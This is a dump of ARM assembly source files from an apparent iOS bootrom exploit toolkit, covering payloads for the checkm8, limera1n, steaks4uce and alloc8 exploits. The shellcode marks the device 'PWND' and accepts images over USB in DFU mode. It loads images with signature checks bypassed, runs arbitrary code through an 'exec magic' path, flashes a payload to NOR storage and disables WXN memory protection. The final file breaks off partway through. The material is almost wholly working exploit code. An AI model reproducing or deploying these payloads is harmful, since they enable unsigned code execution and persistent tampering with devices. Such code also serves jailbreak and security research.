    LDR R1, =LOAD_ADDRESS
    MOV R2, #0
    LDR R3, =jump_to
    BLX R3                                      @ jump_to(0, LOAD_ADDRESS, 0)

    /* jump_to should never return */

pwned_dfu_load_failed:
    MOV R0, R4
    LDR R3, =memz_destroy
    BLX R3                                      @ memz_destroy(R4)

pwned_dfu_loop_end:
    B pwned_dfu_loop                            @ goto pwned_dfu_loop

pwned_dfu_exec_magic:
    LDR R0, [R5, #0x8]                          @ R0 = LOAD_ADDRESS[2]      /* arg1 */

    LDR R1, [R5, #0xC]                          @ R1 = LOAD_ADDRESS[3]      /* arg2 */

    LDR R2, [R5, #0x10]                         @ R2 = LOAD_ADDRESS[4]      /* arg3 */

    LDR R3, [R5, #0x14]                         @ R3 = LOAD_ADDRESS[5]      /* arg4 */

    LDR R4, [R5, #0x18]                         /* TODO: Consider replacing with memmove? */
    STR R4, [SP]                                @ SP[0] = LOAD_ADDRESS[6]   /* arg5 */

    LDR R4, [R5, #0x1C]
    STR R4, [SP, #0x4]                          @ SP[1] = LOAD_ADDRESS[7]   /* arg6 */

    LDR R4, [R5, #0x20]
    STR R4, [SP, #0x8]                          @ SP[2] = LOAD_ADDRESS[8]   /* arg7 */
    
    LDR R4, [R5, #0x4]                          
    BLX R4                                      @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2])

    STR R0, [R5, #4]                            @ LOAD_ADDRESS[1] = R0

    MOV R0, #0
    STR R0, [R5]                                @ LOAD_ADDRESS[0] = 0

    B pwned_dfu_loop                            @ goto pwned_dfu_loop

image3_load_no_signature_check:
    PUSH {R4-R7, LR}                            /* TODO: Rewrite this ugly mess. */

    MOV R6, R11
    MOV R5, R10
    MOV R4, R8
    PUSH {R4-R6}

    ADD R7, SP, #0x18
    SUB SP, SP, #0x60

    STR R2, [SP, #0x10]

    MOVS R3, #0
    STR R3, [SP, #0x50]

    LDR R6, [R1]
    MOV R10, R1
    MOVS R5, R0

    LDR R0, [R5, #4]
    MOV R8, R0

    LDR R1, =MAX_SIZE
    CMP R0, R1
    BGT img3_bad_size

    LDR R0, [R5, #0xC]
    LDR R1, =IMG3_STRUCT_MAGIC
    CMP R0, R1
    BNE not_nor_img3

    MOV R4, R8
    STR R4, [SP]

    LDR R4, [R5, #0x14]
    LDR R0, [R4, #8]
    LDR R1, =LOAD_ADDRESS
    LDR R2, [R4, #0xC]        
    MOVS R3, #0
    LDR R4, [R0, #0x1C]
    BLX R4

    CMP R0, R8
    BNE img3_fail

    B img3_continue

not_nor_img3:
    LDR R1, =MEMZ_STRUCT_MAGIC
    CMP R0, R1
    BNE img3_fail

img3_continue:
    ADD R0, SP, #0x50
    MOVS R1, R6
    MOV R2, R8
    MOVS R3, #0
    LDR R4, =image3_create_struct
    BLX R4

    MOV R4, R0

    CBNZ R4, img3_fail

    LDR R3, =image3_load_continue
    BX R3

img3_bad_size:
    MOV R8, R1

img3_fail:
    MOV R4, #1
    LDR R3, =image3_load_fail
    BX R3

.align 2

PWND_STRING:
.ascii " PWND:[alloc8]\x00"


================================================
FILE: src/checkm8_arm64.S
================================================
.text

.pool
.set PAYLOAD_OFFSET,               0xBAD00006
.set PAYLOAD_SIZE,                 0xBAD00007
.set PAYLOAD_DEST,                 0xBAD00005
.set PAYLOAD_PTR,                  0xBAD00008
.set gUSBSerialNumber,             0xBAD00002
.set gUSBSRNMStringDescriptor,     0xBAD00004
.set gUSBDescriptors,              0xBAD00001
.set usb_create_string_descriptor, 0xBAD00003

.global _main
_main:
  MOV  X19, #0                      // HACK: do not free this usb request
  STP  X29, X30, [SP,#-0x10]!
  MOV  X29, SP

  # Do not set USB Descriptors anymore, this will cause a crash on t8011 (and maybe others)
  LDR  X0, =gUSBDescriptors
  LDP  X0, X1, [X0]
  ADR  X2, USB_DESCRIPTOR
  LDP  X3, X4, [X2]
  //STP  X3, X4, [X0]
  //STP  X3, X4, [X1]
  LDP  X3, X4, [X2,#0x10]
  //STP  X3, X4, [X0,#0x10]
  //STP  X3, X4, [X1,#0x10]

  LDR  X0, =gUSBSerialNumber
find_zero_loop:
  ADD  X0, X0, #1
  LDRB W1, [X0]
  CBNZ W1, find_zero_loop

  ADR  X1, PWND_STRING
  LDP  X2, X3, [X1]
  STP  X2, X3, [X0]

  LDR  X0, =gUSBSerialNumber
  LDR  X1, =usb_create_string_descriptor
  BLR  X1

  LDR  X1, =gUSBSRNMStringDescriptor
  STRB W0, [X1]

  LDR  X0, =PAYLOAD_DEST
  ADR  X1, _main
  LDR  X2, =PAYLOAD_OFFSET
  ADD  X1, X1, X2
  MOV  X2, #0
  LDR  X3, =PAYLOAD_SIZE
  LDR  X4, =PAYLOAD_PTR
  ADD  X5, X0, #0x18
  STR  X5, [X4]

copy_loop:
  LDP  X3, X4,  [X1]
  STP  X3, X4,  [X0]
  LDP  X3, X4,  [X1,#0x10]
  STP  X3, X4,  [X0,#0x10]
  LDP  X3, X4,  [X1,#0x20]
  STP  X3, X4,  [X0,#0x20]
  LDP  X3, X4,  [X1,#0x30]
  STP  X3, X4,  [X0,#0x30]
  DC   CIVAC, X0
  DMB  SY
  ADD  X0, X0, #0x40
  ADD  X1, X1, #0x40
  ADD  X2, X2, #0x40
  CMP  X2, X3
  B.CC copy_loop

  SYS  #0, c7, c5, #0
  DSB  SY
  ISB

  LDP  X29, X30, [SP],#0x10
  RET

USB_DESCRIPTOR:
.word 0x190209, 0x80050101, 0x409fa, 0x1fe0000, 0x21070000, 0xa01, 0x8, 0x0

PWND_STRING:
.asciz " PWND:[checkm8]"


================================================
FILE: src/checkm8_armv7.S
================================================
.text

.pool
.set PAYLOAD_OFFSET,               0xBAD00006
.set PAYLOAD_SIZE,                 0xBAD00007
.set PAYLOAD_DEST,                 0xBAD00005
.set PAYLOAD_PTR,                  0xBAD00008
.set gUSBSerialNumber,             0xBAD00002
.set gUSBSRNMStringDescriptor,     0xBAD00004
.set gUSBDescriptors,              0xBAD00001
.set usb_create_string_descriptor, 0xBAD00003

.code 32
.global _main
_main:
  MOV  R4, #0                 // HACK: do not free this usb request
  PUSH {R4-R7,LR}

  LDR  R0, =gUSBDescriptors
  LDRD R0, R1, [R0]
  ADR  R2, USB_DESCRIPTOR
  LDRD R4, R5, [R2]
  STRD R4, R5, [R0]
  STRD R4, R5, [R1]
  LDRD R4, R5, [R2,#0x8]
  STRD R4, R5, [R0,#0x8]
  STRD R4, R5, [R1,#0x8]
  LDRD R4, R5, [R2,#0x10]
  STRD R4, R5, [R0,#0x10]
  STRD R4, R5, [R1,#0x10]
  LDRD R4, R5, [R2,#0x18]
  STRD R4, R5, [R0,#0x18]
  STRD R4, R5, [R1,#0x18]

  LDR  R0, =gUSBSerialNumber
find_zero_loop:
  ADD  R0, R0, #1
  LDRB R1, [R0]
  CMP  R1, #0
  BNE  find_zero_loop

  ADR  R1, PWND_STRING
  LDR  R2, [R1]
  LDR  R3, [R1,#0x4]
  STR  R2, [R0]
  STR  R3, [R0,#0x4]
  LDR  R2, [R1,#0x8]
  LDR  R3, [R1,#0xC]
  STR  R2, [R0,#0x8]
  STR  R3, [R0,#0xC]

  LDR  R0, =gUSBSerialNumber
  LDR  R1, =usb_create_string_descriptor
  LDR  R4, =gUSBSRNMStringDescriptor
  BLX  R1
  STRB R0, [R4]

  LDR  R0, =PAYLOAD_DEST
  ADR  R1, _main
  LDR  R2, =PAYLOAD_OFFSET
  ADD  R1, R1, R2
  MOV  R2, #0
  LDR  R3, =PAYLOAD_SIZE
  LDR  R4, =PAYLOAD_PTR
  ADD  R5, R0, #0x9
  STR  R5, [R4]

copy_loop:
  LDRD R4, R5, [R1]
  STRD R4, R5, [R0]
  LDRD R4, R5, [R1,#0x8]
  STRD R4, R5, [R0,#0x8]
  LDRD R4, R5, [R1,#0x10]
  STRD R4, R5, [R0,#0x10]
  LDRD R4, R5, [R1,#0x18]
  STRD R4, R5, [R0,#0x18]
  LDRD R4, R5, [R1,#0x20]
  STRD R4, R5, [R0,#0x20]
  LDRD R4, R5, [R1,#0x28]
  STRD R4, R5, [R0,#0x28]
  LDRD R4, R5, [R1,#0x30]
  STRD R4, R5, [R0,#0x30]
  LDRD R4, R5, [R1,#0x38]
  STRD R4, R5, [R0,#0x38]
  MCR  p15, 0, R0,c7,c14, 1
  DMB  SY
  ADD  R0, R0, #0x40
  ADD  R1, R1, #0x40
  ADD  R2, R2, #0x40
  CMP  R2, R3
  BCC  copy_loop

  MOV  R0, #0
  MCR  p15, 0, R0, c7, c5, 0 
  DSB
  ISB

  POP  {R4-R7,PC}

USB_DESCRIPTOR:
.word 0x190209, 0x80050101, 0x409fa, 0x1fe0000, 0x21070000, 0xa01, 0x8, 0x0

PWND_STRING:
.asciz " PWND:[checkm8]"


================================================
FILE: src/ibss-flash-nor-shellcode.S
================================================
@ ibss-flash-nor-shellcode.S
@ Author: axi0mX
@ Flashes parts of payload to NOR using iPhone2,1 4.3.5 iBSS
@ Parts flashed: 0x0-0x200, 0x8000-0xF3000

.text

.pool
.set reboot_cmd,            0x84000cdd
.set set_bgcolor,           0x8400c6ed
.set apply_bgcolor,         0x8400c789
.set get_block_device,      0x84012c61

.set gNor0String,           0x84014754

.set NOR_PAYLOAD_BASE,      0x41000080
.set NOR_WRITE_1_OFFSET,             0
.set NOR_WRITE_1_SIZE,           0x200
.set NOR_WRITE_2_OFFSET,        0x8000
.set NOR_WRITE_2_SIZE,         0x78000
.set NOR_WRITE_3_OFFSET,       0x80000
.set NOR_WRITE_3_SIZE,         0x73000

.global _start

_start:
.code 16
    MOV R0, #0
    MOV R1, #160
    MOV R2, #0
    LDR R3, =set_bgcolor
    BLX R3                                      @ set_bgcolor(0, 160, 0)

    LDR R3, =apply_bgcolor
    BLX R3                                      @ apply_bgcolor()

    LDR R0, =NOR_WRITE_1_OFFSET
    LDR R1, =NOR_WRITE_1_SIZE
    BL flash_nor                                @ flash_nor(NOR_WRITE_1_OFFSET, NOR_WRITE_1_SIZE)

    LDR R0, =NOR_WRITE_2_OFFSET
    LDR R1, =NOR_WRITE_2_SIZE
    BL flash_nor                                @ flash_nor(NOR_WRITE_2_OFFSET, NOR_WRITE_2_SIZE)

    LDR R0, =NOR_WRITE_3_OFFSET
    LDR R1, =NOR_WRITE_3_SIZE
    BL flash_nor                                @ flash_nor(NOR_WRITE_3_OFFSET, NOR_WRITE_3_SIZE)

    LDR R3, =reboot_cmd
    BLX R3                                      @ reboot_cmd()

    /* reboot_cmd should never return */

    B spin                                      @ goto spin

flash_nor:                                      @ void flash_nor(R0=offset, R1=size)
    PUSH {R4-R5, LR}

    MOV R4, R0                                  @ R4 = R0
    MOV R5, R1                                  @ R5 = R1

    LDR R0, =gNor0String
    LDR R3, =get_block_device
    BLX R3                                      @ R0 = get_block_device(gNor0String)

    CBZ R0, fail                                @ if (R0 == 0) goto fail

    LDR R1, =NOR_PAYLOAD_BASE
    ADD R1, R1, R4
    MOV R2, R4
    MOV R3, #0
    STR R5, [SP]
    LDR R4, [R0, #0x24]
    BLX R4                                      @ R0 = R0[9](R0, NOR_PAYLOAD_BASE + R4, R4, 0, R5)

    CMP R0, R5
    BNE fail                                    @ if (R0 != R5) goto fail

    POP {R4-R5, PC}                             @ return

fail:
    MOV R0, #255
    MOV R1, #0
    MOV R2, #0
    LDR R3, =set_bgcolor
    BLX R3                                      @ set_bgcolor(255, 0, 0)

    LDR R3, =apply_bgcolor
    BLX R3                                      @ apply_bgcolor()

spin:
    B spin                                      @ while (1)


================================================
FILE: src/limera1n-shellcode.S
================================================
@ limera1n-shellcode.S
@ Author: axi0mX
@ Shellcode for limera1n exploit with minor improvements:
@ * supports 'exec' magic for code execution over USB
@ * reports PWND:[limera1n] in USB serial number string

.text
 
.pool
.set free,                          0xBAD0000d
.set memz_create,                   0xBAD0000f
.set memz_destroy,                  0xBAD00011
.set image3_create_struct,          0xBAD00014
.set image3_load_continue,          0xBAD00015
.set image3_load_fail,              0xBAD00016
.set usb_wait_for_image,            0xBAD00009
.set jump_to,                       0xBAD00010
.set nor_power_on,                  0xBAD00005
.set nor_init,                      0xBAD00006
.set memmove,                       0xBAD00003
.set strlcat,                       0xBAD00008

.set gLeakingDFUBuffer,             0xBAD0000c
.set gUSBSerialNumber,              0xBAD00007

.set RELOCATE_SHELLCODE_ADDRESS,    0xBAD00001
.set RELOCATE_SHELLCODE_SIZE,       0xBAD00002
.set MAIN_STACK_ADDRESS,            0xBAD00004
.set LOAD_ADDRESS,                  0xBAD0000a
.set MAX_SIZE,                      0xBAD0000b
.set EXEC_MAGIC,                    0xBAD0000e
.set IMAGE3_LOAD_SP_OFFSET,         0xBAD00012
.set IMAGE3_LOAD_STRUCT_OFFSET,     0xBAD00013

.global _start

_start:
.code 16
    B   relocate_shellcode                      @ goto relocate_shellcode

    NOP
    NOP
    NOP
    NOP                                         
    NOP                                         
    NOP                                         
    NOP
    NOP
    NOP

relocate_shellcode:
    MOV R1, PC
    SUB R1, R1, #4                              @ R1 = PC - 4

    LDR R0, =RELOCATE_SHELLCODE_ADDRESS
    CMP R0, R1
    BEQ pwned_dfu_start                         @ if (R1 == RELOCATE_SHELLCODE_ADDRESS) goto pwned_dfu_start

    LDR R2, =RELOCATE_SHELLCODE_SIZE
    LDR R3, =memmove
    BLX R3                                      @ memmove(RELOCATE_SHELLCODE_ADDRESS, R1, RELOCATE_SHELLCODE_SIZE)

    LDR R3, =RELOCATE_SHELLCODE_ADDRESS
    ADD R3, R3, #1
    BX R3                                       @ goto (RELOCATE_SHELLCODE_ADDRESS + 1)

pwned_dfu_start:
    LDR R0, =MAIN_STACK_ADDRESS
    MOV SP, R0                                  @ SP = MAIN_STACK_ADDRESS

    MOV R0, #1
    MOV R1, #1
    MOV R2, #0
    LDR R3, =nor_power_on
    BLX R3                                      @ nor_power_on(1, 1, 0)

    MOV R0, #0
    LDR R3, =nor_init
    BLX R3                                      @ nor_init(0)

    LDR R0, =gUSBSerialNumber
    ADR R1, PWND_STRING
    MOV R2, #120
    LDR R3, =strlcat
    BLX R3                                      @ strlcat(gUSBSerialNumber, PWND_STRING, 120)

pwned_dfu_loop:
    LDR R3, =usb_wait_for_image
    LDR R0, =LOAD_ADDRESS
    LDR R1, =MAX_SIZE
    BLX R3                                      @ R0 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE)

    MOV R4, R0                                  @ R4 = R0

    LDR R1, =gLeakingDFUBuffer
    LDR R0, [R1]                                @ R0 = gLeakingDFUBuffer

    MOV R2, #0
    STR R2, [R1]                                @ gLeakingDFUBuffer = 0

    LDR R3, =free
    BLX R3                                      @ free(R0)

    CMP R4, #0
    BLT pwned_dfu_loop                          @ if (R4 < 0) goto pwned_dfu_loop

    LDR R5, =LOAD_ADDRESS
    LDR R0, [R5]                                @ R0 = LOAD_ADDRESS[0]

    LDR R1, =EXEC_MAGIC
    CMP R0, R1
    BNE pwned_dfu_not_exec_magic                @ if (R0 != EXEC_MAGIC) goto pwned_dfu_not_exec_magic

    LDR R0, [R5, #0x8]                          @ R0 = LOAD_ADDRESS[2]      /* arg1 */

    LDR R1, [R5, #0xC]                          @ R1 = LOAD_ADDRESS[3]      /* arg2 */

    LDR R2, [R5, #0x10]                         @ R2 = LOAD_ADDRESS[4]      /* arg3 */

    LDR R3, [R5, #0x14]                         @ R3 = LOAD_ADDRESS[5]      /* arg4 */

    LDR R4, [R5, #0x18]
    STR R4, [SP]                                @ SP[0] = LOAD_ADDRESS[6]   /* arg5 */

    LDR R4, [R5, #0x1C]
    STR R4, [SP, #0x4]                          @ SP[1] = LOAD_ADDRESS[7]   /* arg6 */

    LDR R4, [R5, #0x20]
    STR R4, [SP, #0x8]                          @ SP[2] = LOAD_ADDRESS[8]   /* arg7 */
    
    LDR R4, [R5, #0x4]                          
    BLX R4                                      @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2])

    STR R0, [R5, #4]                            @ LOAD_ADDRESS[1] = R0

    MOV R1, #0
    STR R1, [R5]                                @ LOAD_ADDRESS[0] = 0

    B pwned_dfu_loop                            @ goto pwned_dfu_loop

pwned_dfu_not_exec_magic:
    LDR R0, =LOAD_ADDRESS
    MOV R1, R4
    MOV R2, #0
    LDR R3, =memz_create
    BLX R3                                      @ R0 = memz_create(LOAD_ADDRESS, R4, 0)

    CMP R0, #0
    BEQ pwned_dfu_loop                          @ if (R0 == 0) goto pwned_dfu_loop /* out of memory :-| */

    LDR R3, =LOAD_ADDRESS                       
    STR R3, [SP]                                @ SP[0] = LOAD_ADDRESS

    STR R4, [SP, #4]                            @ SP[1] = R4

    MOV R4, R0                                  @ R4 = R0

    MOV R1, SP
    ADD R2, SP, #4
    BL image3_load_no_signature_check           @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1])

    CBNZ R0, load_failed                        @ if (R0 != 0) goto load_failed

    LDR R1, =LOAD_ADDRESS
    MOV R2, #0
    LDR R3, =jump_to
    BLX R3                                      @ jump_to(0, LOAD_ADDRESS, 0)

    /* jump_to should never return */

load_failed:
    MOV R0, R4
    LDR R3, =memz_destroy
    BLX R3                                      @ memz_destroy(R4)

    B pwned_dfu_loop                            @ goto pwned_dfu_loop

image3_load_no_signature_check:
    PUSH {R4-R7, LR}                            @ push_registers(R4, R5, R6, R7, LR)

    MOV R6, R11
    MOV R5, R10
    MOV R4, R8
    PUSH {R4-R6}                                @ push_registers(R8, R10, R11)

    ADD R7, SP, #0x18                           @ R7 = SP - 0x18

    LDR R4, =IMAGE3_LOAD_SP_OFFSET
    MOV R5, SP
    SUB R5, R5, R4
    MOV SP, R5                                  @ SP = SP - IMAGE3_LOAD_SP_OFFSET

    MOV R3, #0
    LDR R4, =IMAGE3_LOAD_STRUCT_OFFSET
    ADD R4, R5, R4
    STR R3, [R4]                                @ *(SP + IMAGE3_LOAD_STRUCT_OFFSET) = 0

    STR R2, [SP, #0x10]                         @ SP[4] = R2

    STR R1, [SP, #0x14]                         @ SP[5] = R1

    STR R3, [SP, #0x18]                         @ SP[6] = 0

    LDR R6, [R1]                                @ R6 = *R1

    MOV R10, R1                                 @ R10 = R1

    MOV R11, R3                                 @ R11 = 0

    LDR R1, =MAX_SIZE
    MOV R8, R1                                  @ R8 = MAX_SIZE

    LDR R2, [R0, #4]
    CMP R2, R1
    BGT img3_fail                               @ if (R0[1] > MAX_SIZE) goto img3_fail

    MOV R8, R2                                  @ R8 = R0[1]

    MOV R0, R4
    MOV R1, R6
    LDR R4, =image3_create_struct
    BLX R4
    MOV R4, R0                                  @ R4 = image3_create_struct(SP + IMAGE3_LOAD_STRUCT_OFFSET, R6, R8, 0)

    LDR R3, =image3_load_continue               @ R3 = image3_load_continue

    CBZ R4, img3_branch_R3                      @ if (R4 == 0) goto img3_branch_R3

img3_fail:
    MOV R4, #1                                  @ R4 = 1

    LDR R3, =image3_load_fail                   @ R3 = image3_load_fail

img3_branch_R3:
    BX R3                                       @ goto R3

.align 2

PWND_STRING:
.ascii " PWND:[limera1n]\x00"


================================================
FILE: src/steaks4uce-shellcode.S
================================================
@ steaks4uce-shellcode.S
@ Author: axi0mX
@ Shellcode for steaks4uce exploit with minor improvements:
@ * reports PWND:[steaks4uce] in USB serial number string

.text

.pool
.set clean_data_cache,              0xBAD0000a
.set invalidate_instruction_cache,  0xBAD00006
.set usb_shutdown,                  0xBAD00005
.set free,                          0xBAD00011
.set memz_create,                   0xBAD00013
.set memz_destroy,                  0xBAD00015
.set image3_create_struct,          0xBAD00018
.set image3_load_continue,          0xBAD00019
.set image3_load_fail,              0xBAD0001a
.set usb_wait_for_image,            0xBAD0000d
.set jump_to,                       0xBAD00014
.set nor_power_on,                  0xBAD00002
.set nor_init,                      0xBAD00003
.set usb_destroy,                   0xBAD00004
.set memmove,                       0xBAD00009
.set strlcat,                       0xBAD0000c

.set gLeakingDFUBuffer,             0xBAD00010
.set gVersionString,                0xBAD0000b

.set RELOCATE_SHELLCODE_ADDRESS,    0xBAD00007
.set RELOCATE_SHELLCODE_SIZE,       0xBAD00008
.set MAIN_STACK_ADDRESS,            0xBAD00001
.set LOAD_ADDRESS,                  0xBAD0000e
.set MAX_SIZE,                      0xBAD0000f
.set EXEC_MAGIC,                    0xBAD00012
.set IMAGE3_LOAD_SP_OFFSET,         0xBAD00016
.set IMAGE3_LOAD_STRUCT_OFFSET,     0xBAD00017

.global _start

.code 16
_start:
    B   pwned_dfu_start                        @ goto pwned_dfu_start
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP

pwned_dfu_start:
    LDR R0, =MAIN_STACK_ADDRESS
    MOV SP, R0                                  @ SP = MAIN_STACK_ADDRESS

    MOV R0, #1
    MOV R1, #1
    MOV R2, #0
    LDR R3, =nor_power_on
    BLX R3                                      @ nor_power_on(1, 1, 0)

    MOV R0, #0
    LDR R3, =nor_init
    BLX R3                                      @ nor_init(0)

    LDR R3, =usb_destroy
    BLX R3                                      @ usb_destroy()

    LDR R3, =usb_shutdown
    BLX R3                                      @ usb_shutdown()

    LDR R3, =invalidate_instruction_cache
    BLX R3                                      @ invalidate_instruction_cache()

relocate_shellcode:
    MOV R1, PC
    SUB R1, R1, #4                              @ R1 = PC - 4

    LDR R0, =RELOCATE_SHELLCODE_ADDRESS
    CMP R0, R1
    BEQ pwned_dfu_loop                          @ if (R1 == RELOCATE_SHELLCODE_ADDRESS) goto pwned_dfu_loop

    LDR R2, =RELOCATE_SHELLCODE_SIZE
    LDR R3, =memmove
    BLX R3                                      @ memmove(RELOCATE_SHELLCODE_ADDRESS, R1, RELOCATE_SHELLCODE_SIZE)

    LDR R3, =RELOCATE_SHELLCODE_ADDRESS
    ADD R3, R3, #1
    BX R3                                       @ goto (RELOCATE_SHELLCODE_ADDRESS + 1)

pwned_dfu_loop:
    LDR R3, =clean_data_cache
    BLX R3                                      @ clean_data_cache()

    LDR R0, =gVersionString
    ADR R1, PWND_STRING
    MOV R2, #40
    LDR R3, =strlcat                            /* TODO: do this in a more reasonable way */
    BLX R3                                      @ strlcat(gVersionString, PWND_STRING, 40)

    LDR R3, =usb_wait_for_image
    LDR R0, =LOAD_ADDRESS
    LDR R1, =MAX_SIZE
    BLX R3                                      @ R0 = usb_wait_for_image(LOAD_ADDRESS, MAX_SIZE)

    MOV R4, R0                                  @ R4 = R0

    LDR R1, =gLeakingDFUBuffer
    LDR R0, [R1]                                @ R0 = gLeakingDFUBuffer

    MOV R2, #0
    STR R2, [R1]                                @ gLeakingDFUBuffer = 0

    LDR R3, =free
    BLX R3                                      @ free(R0)

    CMP R4, #0
    BLT pwned_dfu_loop                          @ if (R4 < 0) goto pwned_dfu_loop

    LDR R5, =LOAD_ADDRESS
    LDR R0, [R5]                                @ R0 = LOAD_ADDRESS[0]

    LDR R1, =EXEC_MAGIC
    CMP R0, R1
    BNE pwned_dfu_not_exec_magic                @ if (R0 != EXEC_MAGIC) goto pwned_dfu_not_exec_magic

    LDR R0, [R5, #0x8]                          @ R0 = LOAD_ADDRESS[2]      /* arg1 */

    LDR R1, [R5, #0xC]                          @ R1 = LOAD_ADDRESS[3]      /* arg2 */

    LDR R2, [R5, #0x10]                         @ R2 = LOAD_ADDRESS[4]      /* arg3 */

    LDR R3, [R5, #0x14]                         @ R3 = LOAD_ADDRESS[5]      /* arg4 */

    LDR R4, [R5, #0x18]
    STR R4, [SP]                                @ SP[0] = LOAD_ADDRESS[6]   /* arg5 */

    LDR R4, [R5, #0x1C]
    STR R4, [SP, #0x4]                          @ SP[1] = LOAD_ADDRESS[7]   /* arg6 */

    LDR R4, [R5, #0x20]
    STR R4, [SP, #0x8]                          @ SP[2] = LOAD_ADDRESS[8]   /* arg7 */

    LDR R4, [R5, #0x4]
    BLX R4                                      @ R0 = LOAD_ADDRESS[1](R0, R1, R2, R3, SP[0], SP[1], SP[2])

    STR R0, [R5, #4]                            @ LOAD_ADDRESS[1] = R0

    MOV R1, #0
    STR R1, [R5]                                @ LOAD_ADDRESS[0] = 0

    B pwned_dfu_loop                            @ goto pwned_dfu_loop

pwned_dfu_not_exec_magic:
    LDR R0, =LOAD_ADDRESS
    MOV R1, R4
    MOV R2, #0
    LDR R3, =memz_create
    BLX R3                                      @ R0 = memz_create(LOAD_ADDRESS, R4, 0)

    CMP R0, #0
    BEQ pwned_dfu_loop                          @ if (R0 == 0) goto pwned_dfu_loop /* out of memory :-| */

    LDR R3, =LOAD_ADDRESS
    STR R3, [SP]                                @ SP[0] = LOAD_ADDRESS

    STR R4, [SP, #4]                            @ SP[1] = R4

    MOV R4, R0                                  @ R4 = R0

    MOV R1, SP
    ADD R2, SP, #4
    BL image3_load_no_signature_check           @ R0 = image3_load_no_signature_check(R0, &SP[0], &SP[1])

    CMP R0, #0
    BNE load_failed                             @ if (R0 != 0) goto load_failed

    LDR R1, =LOAD_ADDRESS
    MOV R2, #0
    LDR R3, =jump_to
    BLX R3                                      @ jump_to(0, LOAD_ADDRESS, 0)

    /* jump_to should never return */

load_failed:
    MOV R0, R4
    LDR R3, =memz_destroy
    BLX R3                                      @ memz_destroy(R4)

    B pwned_dfu_loop                            @ goto pwned_dfu_loop

image3_load_no_signature_check:
    PUSH {R4-R7, LR}                            @ push_registers(R4, R5, R6, R7, LR)

    MOV R6, R11
    MOV R5, R10
    MOV R4, R8
    PUSH {R4-R6}                                @ push_registers(R8, R10, R11)

    ADD R7, SP, #0x18                           @ R7 = SP - 0x18

    LDR R4, =IMAGE3_LOAD_SP_OFFSET
    MOV R5, SP
    SUB R5, R5, R4
    MOV SP, R5                                  @ SP = SP - IMAGE3_LOAD_SP_OFFSET

    MOV R3, #0
    LDR R4, =IMAGE3_LOAD_STRUCT_OFFSET
    ADD R4, R5, R4
    STR R3, [R4]                                @ *(SP + IMAGE3_LOAD_STRUCT_OFFSET) = 0

    STR R2, [SP, #0x10]                         @ SP[4] = R2

    STR R1, [SP, #0x14]                         @ SP[5] = R1

    STR R3, [SP, #0x18]                         @ SP[6] = 0

    LDR R6, [R1]                                @ R6 = *R1

    MOV R10, R1                                 @ R10 = R1

    MOV R11, R3                                 @ R11 = 0

    LDR R1, =MAX_SIZE
    MOV R8, R1                                  @ R8 = MAX_SIZE

    LDR R2, [R0, #4]
    CMP R2, R1
    BGT img3_fail                               @ if (R0[1] > MAX_SIZE) goto img3_fail

    MOV R8, R2                                  @ R8 = R0[1]

    MOV R0, R4
    MOV R1, R6
    LDR R4, =image3_create_struct
    BLX R4
    MOV R4, R0                                  @ R4 = image3_create_struct(SP + IMAGE3_LOAD_STRUCT_OFFSET, R6, R8, 0)

    LDR R3, =image3_load_continue               @ R3 = image3_load_continue

    CMP R4, #0
    BEQ img3_branch_R3                          @ if (R4 == 0) goto img3_branch_R3

img3_fail:
    MOV R4, #1                                  @ R4 = 1

    LDR R3, =image3_load_fail                   @ R3 = image3_load_fail

img3_branch_R3:
    BX R3                                       @ goto R3

.align 2

PWND_STRING:
.ascii "] PWND:[steaks4uce\x00"


================================================
FILE: src/t8010_t8011_disable_wxn_arm64.S
================================================
.text

.align 2

.globl _main
_main:
  # Copy the real pagetable first
  MOV  X1, #0x180000000
  ADD  X2, X1, #0xA8000
  ADD  X1, X1, #0xA0000
  MOV  X0, 0
cpy:
  LDR  X3, [X1,X0]
  STR  X3, [X2,X0]
  ADD  X0, X0, #8
  CMP  X0, #0x1000
  B.LE cpy

  # Patch our copy
  MOV  X1, #0x180000000
  ADD  X2, X1, #0xA8000
  ADD  X1, X1,   #0x625
  STR  X1, [X2,#0x600]
  DMB  SY

  # And now the real one
  MOV  X2, #0x180000000
  ADD  X2, X2, #0xA0000
  MOV  X0, 0
loop:
  LDR  X1, [X2,X0]
  BIC  X1, X1, #0x80
  BIC  X1, X1, #0x0040000000000000
  BIC  X1, X1, #0x0020000000000000
  STR  X1, [X2,X0]
  DMB  SY
  ADD  X0, X0, #8
  CMP  X0, 0x600
  B.LE loop

  MOV  X0, #0x100D
  MSR  SCTLR_EL1, X0
  DSB  SY
  ISB

  RET


================================================
FILE: src/usb_0xA1_2_arm64.S
================================================
.text

.pool
.set USB_CORE_DO_IO, 0xBAD00006
.set LOAD_ADDRESS,   0xBAD00001
.set EXEC_MAGIC,     0xBAD00002
.set MEMC_MAGIC,     0xBAD00004
.set MEMS_MAGIC,     0xBAD00005
.set DONE_MAGIC,     0xBAD00003

.global _main
_main:
jump_back:
  BRK  #1
  BRK  #1

  LDRH W2, [X0]
  CMP  W2, #0x2A1
  BNE  jump_back

  STP  X29, X30, [SP,#-0x10]!
  MOV  X29, SP
  STP  X20, X19, [SP,#-0x10]!

  MOV  X19, X0
  LDR  X20, =LOAD_ADDRESS

  MOV  W1, #0xFFFF
  LDRH W2, [X19,#2]
  CMP  W1, W2
  BNE  request_done

  LDR  X0, [X20]                               ; X0 = LOAD_ADDRESS[0]

  LDR  X1, =EXEC_MAGIC
  CMP  X0, X1
  BNE  not_exec                                ; if (X0 != EXEC_MAGIC) goto not_exec

  STR  XZR, [X20]                              ; LOAD_ADDRESS[0] = 0

  LDR  X0, [X20, #0x10]                        ; X0 = LOAD_ADDRESS[2]      /* arg1 */
  LDR  X1, [X20, #0x18]                        ; X1 = LOAD_ADDRESS[3]      /* arg2 */
  LDR  X2, [X20, #0x20]                        ; X2 = LOAD_ADDRESS[4]      /* arg3 */
  LDR  X3, [X20, #0x28]                        ; X3 = LOAD_ADDRESS[5]      /* arg4 */
  LDR  X4, [X20, #0x30]                        ; X4 = LOAD_ADDRESS[6]      /* arg5 */
  LDR  X5, [X20, #0x38]                        ; X5 = LOAD_ADDRESS[7]      /* arg6 */
  LDR  X6, [X20, #0x40]                        ; X6 = LOAD_ADDRESS[8]      /* arg7 */
